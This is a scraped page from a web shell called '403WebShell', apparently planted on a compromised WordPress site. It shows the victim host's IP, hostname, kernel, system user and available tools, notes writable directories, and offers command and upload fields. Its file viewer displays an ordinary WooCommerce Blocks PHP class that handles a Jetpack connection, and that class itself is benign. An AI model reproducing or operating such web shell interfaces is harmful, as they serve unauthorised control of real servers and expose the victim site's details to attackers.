Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.16.251
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/woocommerce/src/Blocks/AI/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/woocommerce/src/Blocks/AI/Configuration.php
<?php

namespace Automattic\WooCommerce\Blocks\AI;

use Automattic\Jetpack\Config;
use Automattic\Jetpack\Connection\Manager;
use Automattic\Jetpack\Connection\Utils;

/**
 * Class Configuration
 *
 * @internal
 */
class Configuration {

	/**
	 * The name of the option that stores the site owner's consent to connect to the AI API.
	 *
	 * @var string
	 */
	private $consent_option_name = 'woocommerce_blocks_allow_ai_connection';
	/**
	 * The Jetpack connection manager.
	 *
	 * @var Manager
	 */
	private $manager;
	/**
	 * The Jetpack configuration.
	 *
	 * @var Config
	 */
	private $config;

	/**
	 * Configuration constructor.
	 */
	public function __construct() {
		if ( ! class_exists( 'Automattic\Jetpack\Connection\Manager' ) || ! class_exists( 'Automattic\Jetpack\Config' ) ) {
			return;
		}

		$this->manager = new Manager( 'woocommerce_blocks' );
		$this->config  = new Config();
	}

	/**
	 * Initialize the site and user connection and registration.
	 *
	 * @return bool|\WP_Error
	 */
	public function init() {
		if ( ! $this->should_connect() ) {
			return false;
		}

		$this->enable_connection_feature();

		return $this->register_and_connect();
	}

	/**
	 * Verify if the site should connect to Jetpack.
	 *
	 * @return bool
	 */
	private function should_connect() {
		$site_owner_consent = get_option( $this->consent_option_name );

		return $site_owner_consent && class_exists( 'Automattic\Jetpack\Connection\Utils' ) && class_exists( 'Automattic\Jetpack\Connection\Manager' );
	}

	/**
	 * Initialize Jetpack's connection feature within the WooCommerce Blocks plugin.
	 *
	 * @return void
	 */
	private function enable_connection_feature() {
		$this->config->ensure(
			'connection',
			array(
				'slug' => 'woocommerce/woocommerce-blocks',
				'name' => 'WooCommerce Blocks',
			)
		);
	}

	/**
	 * Register the site with Jetpack.
	 *
	 * @return bool|\WP_Error
	 */
	private function register_and_connect() {
		Utils::init_default_constants();

		$jetpack_id     = \Jetpack_Options::get_option( 'id' );
		$jetpack_public = \Jetpack_Options::get_option( 'public' );

		$register = $jetpack_id && $jetpack_public ? true : $this->manager->register();

		if ( true === $register && ! $this->manager->is_user_connected() ) {
			$this->manager->connect_user();
			return true;
		}

		return false;
	}

	/**
	 * Unregister the site with Jetpack.
	 *
	 * @return void
	 */
	private function unregister_site() {
		if ( $this->manager->is_connected() ) {
			$this->manager->remove_connection();
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit